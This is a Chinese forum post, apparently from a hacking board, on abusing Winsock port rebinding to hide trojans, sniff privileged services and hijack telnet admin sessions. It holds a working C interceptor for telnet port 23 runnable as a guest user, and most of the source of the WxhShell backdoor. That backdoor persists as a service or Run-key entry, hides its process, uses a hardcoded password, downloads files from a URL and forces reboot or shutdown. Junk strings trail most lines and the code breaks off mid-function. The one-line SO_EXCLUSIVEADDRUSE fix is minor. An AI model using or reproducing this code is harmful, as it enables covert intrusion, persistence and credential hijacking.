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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +-b'+mF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 13 h,V]ak  
,~,q 0PA7J  
  saddr.sin_family = AF_INET; !4<D^ eh  
Ae=JG8Ht~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pq]z%\$u  
J;<dO7j5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t ]Ln(r  
CH(Y.Kj-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MB:[: nX  
s[a\m,  
  这意味着什么?意味着可以进行如下的攻击: Q_p&~PNy5  
<B T18u\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =c 9nC;C  
CAx$A[f<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x0)=jp '  
a~@f,bw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QxPPgn7'  
$Tv~ *|a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e}-fGtFx  
$,O8SW.O$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O13]H"O_  
a e-tAA[1Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H!0m8LCnb  
y|+5R5}K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g$2#TWW5  
4$, W\d  
  #include (e5Z^9X  
  #include wO.d;SK  
  #include lvODhoT  
  #include    Zgp9Uu}"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ._>03,"  
  int main() uWClT):  
  { qZ E3T:S  
  WORD wVersionRequested; "oiN8#Hf  
  DWORD ret; jP/Vqe%%8  
  WSADATA wsaData; Y|b,pC|,  
  BOOL val; vO$cF*  
  SOCKADDR_IN saddr; 49>b]f,Vc  
  SOCKADDR_IN scaddr; "9^b1UH<  
  int err; <z%**gP~G  
  SOCKET s; W tw,YFT  
  SOCKET sc; #J3}H   
  int caddsize; #?r|6<4X  
  HANDLE mt; *k#"@  
  DWORD tid;   &QD)1b[U  
  wVersionRequested = MAKEWORD( 2, 2 ); *-fd$l.  
  err = WSAStartup( wVersionRequested, &wsaData ); ]=ApYg7!  
  if ( err != 0 ) { @",#'eC"  
  printf("error!WSAStartup failed!\n"); GPGP teC  
  return -1; 6^J[SQ6P  
  } *7Y#G8 s  
  saddr.sin_family = AF_INET; _kRc"MaB  
   68bvbig  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?[bE/Ya+S  
Iv3yDL;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *^g]QQ  
  saddr.sin_port = htons(23); |.RyF@N`T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "3]}V=L<5  
  { B%u[gNZ  
  printf("error!socket failed!\n"); h4K Mhr  
  return -1; '{~[e**  
  } )lt1I\n*k  
  val = TRUE; '?m2|9~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (O(TFE5^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QPLWRZu@  
  { PN9vg9'  
  printf("error!setsockopt failed!\n"); [/*;}NUv  
  return -1; Bca$%3M  
  } C[%&;\3S@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rxMo7px@}I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A)!W VT&2A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2/t;}pw8  
Bi;a~qE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cs\=8_5  
  { ZRc^}5}WA  
  ret=GetLastError(); (i(E~^O  
  printf("error!bind failed!\n"); XW8@c2jN\7  
  return -1; 5CcX'*P  
  } ns5Dydo{T  
  listen(s,2); `EMGrw_  
  while(1) ?&,6Y'"  
  { r|ZB3L|7  
  caddsize = sizeof(scaddr); 8Vn   
  //接受连接请求 5QXU"kWH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7;'UC','  
  if(sc!=INVALID_SOCKET) h"8[1 ;  
  { oF+yh!~mM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G6>sAOf  
  if(mt==NULL) c 8  
  { %YF /=l  
  printf("Thread Creat Failed!\n"); &-^*D%9  
  break; X#0yOSR  
  } ?xMTO  
  } $4ZV(j]  
  CloseHandle(mt); 2<n 18-|OQ  
  } +&f_k@+  
  closesocket(s); v+sF0 j\P  
  WSACleanup(); v_%6Ly  
  return 0; {U3jJ#K  
  }   Ho/tCU|w  
  DWORD WINAPI ClientThread(LPVOID lpParam) am.d^'  
  { j?$B@Zk  
  SOCKET ss = (SOCKET)lpParam; 6 mLC{X[  
  SOCKET sc; _'Vo3b  
  unsigned char buf[4096]; r^"sZk#  
  SOCKADDR_IN saddr; 7u^wO<  
  long num; .^F&6'h1H  
  DWORD val; /#: *hn  
  DWORD ret; \j)c?1*$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ] X]!xvN@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8,+T[S  
  saddr.sin_family = AF_INET; .@mZG<vg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W6EEC<$JL  
  saddr.sin_port = htons(23); \J?&XaO=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mqJD+ K  
  { \&V[<]  
  printf("error!socket failed!\n"); ?Y\WSI?i  
  return -1; {*CG&-k2D  
  } :u=y7[I  
  val = 100; .':17 $c`H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fv/{)H<:y  
  { ~PF,[$?4n  
  ret = GetLastError(); 13 JG[,w  
  return -1; ^56D)A=  
  } {nA+-=T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e>!]_B1ad  
  { Jq>5:"jZ0  
  ret = GetLastError(); 5$Kv%U  
  return -1; ZZ!6O/M  
  } loq2+(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) si]MQ\i+  
  { ~^Ga?Q_  
  printf("error!socket connect failed!\n"); 8?EKF+.u|  
  closesocket(sc); Op 9+5]XF  
  closesocket(ss); ,T  3M  
  return -1; ,e`n2)  
  } sKiy 1Ww  
  while(1) 5 8U[IGs(  
  { cqZ lpm$c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :u@ w ;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E){ODyk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yQu/({D  
  num = recv(ss,buf,4096,0); LG("<CU  
  if(num>0) GZCXm+  
  send(sc,buf,num,0); c|KN@)A  
  else if(num==0) 0P7sMCYu  
  break; F*rsi7#!pG  
  num = recv(sc,buf,4096,0); |p\vH#6y+  
  if(num>0) pf[m"t6G~  
  send(ss,buf,num,0); 3Eu;_u_  
  else if(num==0) cypb 6Q_  
  break; -gK*&n~  
  } q-|j =  
  closesocket(ss); aRE%(-5  
  closesocket(sc); N&jHU+{OU  
  return 0 ; pb5q2|u`h  
  } |rr<4>)X  
jhF&   
PPMAj@B}V  
========================================================== rGIf/=G^r  
X4I+  
下边附上一个代码,,WXhSHELL w8iXuRv  
V N<omi+4  
========================================================== #Bo3 :B8  
A-*y[/  
#include "stdafx.h" J_`a}ox  
MR3\7D+9y  
#include <stdio.h> 3$f+3/l  
#include <string.h> Ahf71YP  
#include <windows.h> oGvk,mh"(  
#include <winsock2.h> *VV#o/Q p  
#include <winsvc.h> T:=ST3#m  
#include <urlmon.h> =;A >1g$  
oo-O>M#5  
#pragma comment (lib, "Ws2_32.lib") KJP}0|[  
#pragma comment (lib, "urlmon.lib") qLWM,[Og  
ec3zoKtV  
#define MAX_USER   100 // 最大客户端连接数 /CXQ&nwY9=  
#define BUF_SOCK   200 // sock buffer y%!zXK`cl]  
#define KEY_BUFF   255 // 输入 buffer {!>'# F^e  
/1h ${mo~  
#define REBOOT     0   // 重启 d.xT8l}sS  
#define SHUTDOWN   1   // 关机 Y. Uca<{.[  
?<efKs  
#define DEF_PORT   5000 // 监听端口 zGaqYbQD  
?*L{xNC#  
#define REG_LEN     16   // 注册表键长度 1YScZ  
#define SVC_LEN     80   // NT服务名长度 p1!-|Sqq  
L ARMZoyi  
// 从dll定义API J b?x-%Za  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o3cE.YUF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PS$g *x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0iI|eE o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M3!4,_!~  
'l $ViNq;  
// wxhshell配置信息 '37 <+N  
struct WSCFG { Xmw%f[Xl  
  int ws_port;         // 监听端口 Jp"[` m  
  char ws_passstr[REG_LEN]; // 口令 Vy7 )_D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 45Lzq6  
  char ws_regname[REG_LEN]; // 注册表键名 oq9gFJG(  
  char ws_svcname[REG_LEN]; // 服务名 &G)/i*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nSp OTQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V;d<S@$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U8OVn(qV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $CDRIn50  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nhy:5eSK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #H;1)G(/  
m+QZ|  
}; cJ#n<Rsz  
*r)dtI*  
// default Wxhshell configuration I{i6e'.jP  
struct WSCFG wscfg={DEF_PORT, @k9n0Qe|F  
    "xuhuanlingzhe", z:oi @q  
    1, n{(,r'  
    "Wxhshell", #'4Psz  
    "Wxhshell", !.{"Ttn;s  
            "WxhShell Service", 7Qd boEa  
    "Wrsky Windows CmdShell Service", _'Rg7zHTp-  
    "Please Input Your Password: ", zmFS]IOv$  
  1, nT9Hw~f<j  
  "http://www.wrsky.com/wxhshell.exe", L KLLBrm:  
  "Wxhshell.exe" A "/|h].  
    }; /h 4rW>8D2  
B&AF(e (  
// 消息定义模块 MIY`"h0*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -oi@1g @  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,z~"Mst  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r0s(MyI  
char *msg_ws_ext="\n\rExit."; {hoe^07XK  
char *msg_ws_end="\n\rQuit."; 4+:'$Nw  
char *msg_ws_boot="\n\rReboot..."; Ctbc!<@o  
char *msg_ws_poff="\n\rShutdown..."; :A+}fB IN  
char *msg_ws_down="\n\rSave to "; "a-;?S&  
#giH`|#d  
char *msg_ws_err="\n\rErr!"; kG u{[Rh  
char *msg_ws_ok="\n\rOK!"; C8%MKNPd  
Mtc  -  
char ExeFile[MAX_PATH]; ]fSpG\yU  
int nUser = 0; tA^CuJR  
HANDLE handles[MAX_USER]; M'JCT'(X  
int OsIsNt; N!./u(b  
hjz`0AS  
SERVICE_STATUS       serviceStatus; p\Fxt1Y@X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Xm> 3  
a5pXn v]A  
// 函数声明 gOr%N!5  
int Install(void); M7{_"9X{  
int Uninstall(void); 8On MtP  
int DownloadFile(char *sURL, SOCKET wsh); ?8FJMFv;4%  
int Boot(int flag); fo~>y  
void HideProc(void); '4}8WYKQ  
int GetOsVer(void); +1^L35\@  
int Wxhshell(SOCKET wsl); y?Pw6;e.  
void TalkWithClient(void *cs); {a ]u  
int CmdShell(SOCKET sock); O7m-_#/\   
int StartFromService(void); EFv^uve  
int StartWxhshell(LPSTR lpCmdLine); y"k %Wa`*  
yIg^iZD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G +AP."M?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4m6/ ba  
=s9*=5r8  
// 数据结构和表定义 UkcH+0o  
SERVICE_TABLE_ENTRY DispatchTable[] = \f7R^;`_<R  
{ T(Ji%S >  
{wscfg.ws_svcname, NTServiceMain}, -/:K.SY,  
{NULL, NULL} QZJnb%]  
}; O*%5P5'p"{  
izu_1X  
// 自我安装 rdsZ[ii  
int Install(void) @sUec  
{ v6ei47-  
  char svExeFile[MAX_PATH]; n<1*cL:8B  
  HKEY key; #e1iYFgS  
  strcpy(svExeFile,ExeFile); yq[. WPve  
iNilk!d6Q3  
// 如果是win9x系统,修改注册表设为自启动 `dhBLAt  
if(!OsIsNt) { YMVmpcz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6{I6'+K~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;U#=H9_  
  RegCloseKey(key); ^oR qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'td6F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & Zjs  
  RegCloseKey(key); @"H7Q1Hg!*  
  return 0; 7~);,#[ky  
    } Eqi;m,)  
  } 'F3@Xh  
} sFHqLG{/  
else { 'uF-}_ |  
([#'G+MC&  
// 如果是NT以上系统,安装为系统服务 ={51fr/C%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7=s0Pm  
if (schSCManager!=0) yCuLo`  
{ @d:GtAW  
  SC_HANDLE schService = CreateService Gl"hn  
  ( 9@}5FoX"  
  schSCManager, P=7X+}@  
  wscfg.ws_svcname, ^^< C9  
  wscfg.ws_svcdisp, !s:_>P`MQ  
  SERVICE_ALL_ACCESS, Ibx\k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <$ qT(3w<y  
  SERVICE_AUTO_START, y}?PyPz  
  SERVICE_ERROR_NORMAL,  ^Vf@J  
  svExeFile, a^_W}gzzd  
  NULL, wc-v]$DW  
  NULL, Yj'"Wg  
  NULL, (EjlnG}5l  
  NULL, -2'+GO7G  
  NULL CR;E*I${  
  ); nw#AKtd@x  
  if (schService!=0) E!uQ>'iq.  
  { D&i, `j  
  CloseServiceHandle(schService); ) I(9qt>Y  
  CloseServiceHandle(schSCManager); XA;f.u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nW<nOKTnk_  
  strcat(svExeFile,wscfg.ws_svcname); F'CJN$6Mw/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uG/'9C6Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &[SFl{fx>-  
  RegCloseKey(key); brG!TJ   
  return 0; KzQFG)q,  
    } y:_>R=sw  
  } )2#q i/  
  CloseServiceHandle(schSCManager); [XubzZ9  
} ` TH\0/eE  
} R / ND f`  
A~X\ dcn  
return 1; f'*/IG  
} (?TK P 7  
/F46Ac}I  
// 自我卸载 IusZYB  
int Uninstall(void) :*^aSPlV  
{ *.KVrS<B1  
  HKEY key; eI-SWwmv/u  
#f%fY%5q  
if(!OsIsNt) { FA := )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 947;6a%$  
  RegDeleteValue(key,wscfg.ws_regname); vif)g6,  
  RegCloseKey(key); w'XN<RWA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j\zlp  
  RegDeleteValue(key,wscfg.ws_regname); r^H,H'BohJ  
  RegCloseKey(key); /^v!B`A @  
  return 0; 9JX@c k  
  } {:3:GdM6  
} %3AE2"  
} Z>3m-:-e  
else { 1.PN_9%  
?\(qA+iP0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0*+EYnu+  
if (schSCManager!=0) ,k*%=TF7N  
{ FBvh7D.hV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *$`N5;7'`  
  if (schService!=0) ZJm$7T)V  
  { $M/1pZ  
  if(DeleteService(schService)!=0) { 8 nL9#b  
  CloseServiceHandle(schService); 4jGN:*kZ  
  CloseServiceHandle(schSCManager); t0r0{:  
  return 0; +@yU `  
  } oI'& &Bt  
  CloseServiceHandle(schService); Ab>Kfr#  
  } ]mz'(t  
  CloseServiceHandle(schSCManager); (h@!_qi9:  
} [h !i{QD  
} X Q CE`m  
iOSt=-p  
return 1; z]-m<#1  
} T>7N "C  
m{$}u@a  
// 从指定url下载文件 fM|s,'Q1x  
int DownloadFile(char *sURL, SOCKET wsh) }q'IY:r  
{ LI&E.(:  
  HRESULT hr; [@JK|50|K  
char seps[]= "/"; +u*Pi  
char *token; ;#S]mso1  
char *file; /xcXd+k]  
char myURL[MAX_PATH]; t;/uRN*.  
char myFILE[MAX_PATH]; <m\<yZ2aa  
mBb3Ta  
strcpy(myURL,sURL); iH@u3[w  
  token=strtok(myURL,seps); nnvS.s`O  
  while(token!=NULL) !]Qk?T~9-  
  { B~| ]gd  
    file=token; R9Wr?  
  token=strtok(NULL,seps); J/:U,01  
  } 'o4`GkNh)  
 o0>|  
GetCurrentDirectory(MAX_PATH,myFILE); V6'u\Ch|  
strcat(myFILE, "\\"); h::(b,|f7  
strcat(myFILE, file); JbJ!,86  
  send(wsh,myFILE,strlen(myFILE),0); x DN u'  
send(wsh,"...",3,0); j@^zK!mO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c q[nqjC=  
  if(hr==S_OK) $Dx*[.M3>  
return 0; zi_$roq=)  
else UNwjx7usD  
return 1; BDzAmrO<  
=S\^j"  
} 8F[ ;ma>Z8  
4nP4F +  
// 系统电源模块 ;|Hpg_~%>  
int Boot(int flag) 6R^32VeK($  
{ C.":2F;-e  
  HANDLE hToken; 2+DK:T[  
  TOKEN_PRIVILEGES tkp; <|.]$QSi  
EJMd[hMhe  
  if(OsIsNt) { r<Z.J/a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CTKw2`5u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'q_Z dw%  
    tkp.PrivilegeCount = 1; X }i2qv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KdYR?rY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9I2&Vx=DSt  
if(flag==REBOOT) { 0#Pa;(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .VNz( s  
  return 0; , V,Q(!$F  
} TBQ68o  
else { D`!BjhlW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~piE$"]&  
  return 0; HeO&p@  
} RticGQy&5  
  } 5h^BXX|Y*  
  else { 1?^ P=^8   
if(flag==REBOOT) { Ejr'Yzl3_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /kK!xe  
  return 0; q~5zv4NX  
} bZ:+q1 D  
else { *PV7s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (V&d:tW  
  return 0; 9}a$0H h  
} ]\A=[T^  
} zVf79UrK  
On~KTt3Mp  
return 1; WcS`T?Xa  
} )8rF'pxI  
tKcC{  
// win9x进程隐藏模块 }CMGK{  
void HideProc(void) ZzTkEz >  
{ zh0T3U0D  
>o{JG(Rn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4e.19H9  
  if ( hKernel != NULL ) E`(=n(Qu  
  { =)c-Xz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _?cum ~A@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )g^qgxnnV  
    FreeLibrary(hKernel); )u28:+8  
  } "*j8G8  
ot2zY dWAz  
return; 6__!M  
} *QWOW g4w  
rC!"<  
// 获取操作系统版本 iu*&Jz)D>  
int GetOsVer(void) =[!(s/+>L  
{ #_aq@)Fd  
  OSVERSIONINFO winfo; 7B\NP`l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &0y` Gt  
  GetVersionEx(&winfo); H lM7^3(&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Js kA5h|&  
  return 1; mVYfyLZ,(  
  else *c=vEQn-  
  return 0; f(blqO.@l  
} u^|cG{i5"  
cLwnV.  
// 客户端句柄模块 mIDVN  
int Wxhshell(SOCKET wsl) <fDT/  
{ ^0cbN[~/ns  
  SOCKET wsh; D_JGbNigA  
  struct sockaddr_in client; {47l1wV]  
  DWORD myID; EK[J!~  
4lc|~Fj++  
  while(nUser<MAX_USER) %`T}%B  
{ chUYLX}45  
  int nSize=sizeof(client); !03JA9lo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;L-)$Dy4  
  if(wsh==INVALID_SOCKET) return 1; WwZ3hd  
s$fX ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ai[@2AyU  
if(handles[nUser]==0) na~ FT[3 C  
  closesocket(wsh); Me? I8:/  
else k[ D,du')  
  nUser++; jVN06,3z  
  } NQ[X=a8N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ty#6%  
P*7G?  
  return 0; Y Z8[h`z  
} >K4Nn(~ys  
0&I*)Zt9x  
// 关闭 socket Ly^bP>2i  
void CloseIt(SOCKET wsh) )D/ ,QWk  
{ w}OBp^V^  
closesocket(wsh); %Gyn.9\  
nUser--; l=l$9H,  
ExitThread(0); 6s~B2t:Y  
}  dm=?o  
r"{jrBK$  
// 客户端请求句柄 8UgogNR\  
void TalkWithClient(void *cs) d|Wqx7t]P  
{ 0?/gEr  
)~R[aXkvY  
  SOCKET wsh=(SOCKET)cs; Cx/J_Ro#  
  char pwd[SVC_LEN]; R?:Q=7K  
  char cmd[KEY_BUFF]; ~D|,$E tX4  
char chr[1]; H,GjPIG  
int i,j; 9d/- +j'  
_L~ 3h  
  while (nUser < MAX_USER) { x=7:D  
u=v-,Tw  
if(wscfg.ws_passstr) { P)f8 lU^z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g&F$hm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q"{Dijc%  
  //ZeroMemory(pwd,KEY_BUFF); yc3/5]E&  
      i=0; 2/V%jS[4#y  
  while(i<SVC_LEN) { YQHpW>z  
^c}3o|1m(  
  // 设置超时 N1c 0>{  
  fd_set FdRead; GfK%UZ$C  
  struct timeval TimeOut; `f&::>5tD  
  FD_ZERO(&FdRead);  \SQ4yc  
  FD_SET(wsh,&FdRead); ^(C4Q?[2m  
  TimeOut.tv_sec=8; 3'0vLi  
  TimeOut.tv_usec=0; 8+gp"!E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ }5KM87  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fu~iF  
f9>pMfi:@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o jxK8_kl  
  pwd=chr[0]; wH@S$WT  
  if(chr[0]==0xd || chr[0]==0xa) { Yu)GV7\2  
  pwd=0; H^S<bZ  
  break; l#^?sbG  
  } %regt{  
  i++; F4T!&E%6  
    } N]/cBGy  
Km= Y^x0  
  // 如果是非法用户,关闭 socket )b]wpEFl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =,N"% }  
} Ekq(  
"k@[7 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qQDe'f~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 965x _ %  
>Q@y8*E\F  
while(1) { Os>&:{D4!  
Myg;2.  
  ZeroMemory(cmd,KEY_BUFF); g7hI9(8+  
d{NMG)`x\  
      // 自动支持客户端 telnet标准   S WTZ6(!oW  
  j=0; %SIll  
  while(j<KEY_BUFF) { ?K2EK'-q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j~ds)dW%`&  
  cmd[j]=chr[0]; GEVDXx>@  
  if(chr[0]==0xa || chr[0]==0xd) { 'do2n/  
  cmd[j]=0; Uq'W<.v 5  
  break; S{e3aqT#N  
  } 6U8esPs,  
  j++; iZnLgkk@  
    }  C&qo$C  
;Krs*3 s  
  // 下载文件 qP;1LAX  
  if(strstr(cmd,"http://")) { RZ{O6~VH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lks+FW  
  if(DownloadFile(cmd,wsh)) v07A3oj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %2I>-0]B  
  else af @a /  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p>?(u GV  
  } GQYn |vm  
  else { ]5a3e+  
/2=9i84  
    switch(cmd[0]) { `.~S/$a.&  
  w<!,mL5 N  
  // 帮助 \l3z <\  
  case '?': { =d"5k DK-m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LD?\gK "  
    break; #Pd__NV"\  
  } *74/I>i  
  // 安装 jf;n*  
  case 'i': { b#6mUl2  
    if(Install()) ;J+iwS*Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s Adb0 A  
    else }8}`A\ dgV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J^#g?RHN>m  
    break; \DE, ,  
    } C"5P7F{  
  // 卸载 ;?iu@h  
  case 'r': { @ls/3`E/5E  
    if(Uninstall()) fATVAv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?]>4+Oa0  
    else 1@LUxU#Uu$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2<8l&2}7]  
    break; s1[.L~;J  
    } ~e,l2 <  
  // 显示 wxhshell 所在路径 j`@`M*)GB  
  case 'p': { q!U$\Q&  
    char svExeFile[MAX_PATH]; .UX4p =  
    strcpy(svExeFile,"\n\r"); kUGFg{"  
      strcat(svExeFile,ExeFile); GL9'dL|  
        send(wsh,svExeFile,strlen(svExeFile),0); d#d&CJAfr  
    break; lcpiCZ  
    } Z VdQ$  
  // 重启 a"O;DYh  
  case 'b': { p]y.N)a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SfY 5Xgp  
    if(Boot(REBOOT)) G,<d;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3=h7a %=  
    else { [x, `)Fk  
    closesocket(wsh); -:r<sv$  
    ExitThread(0); 0>-}c>  
    } t~ I;IB  
    break; St!0MdCH  
    } ?ZC!E0]  
  // 关机 sxuP"4  
  case 'd': { OUwnVAZZ6  
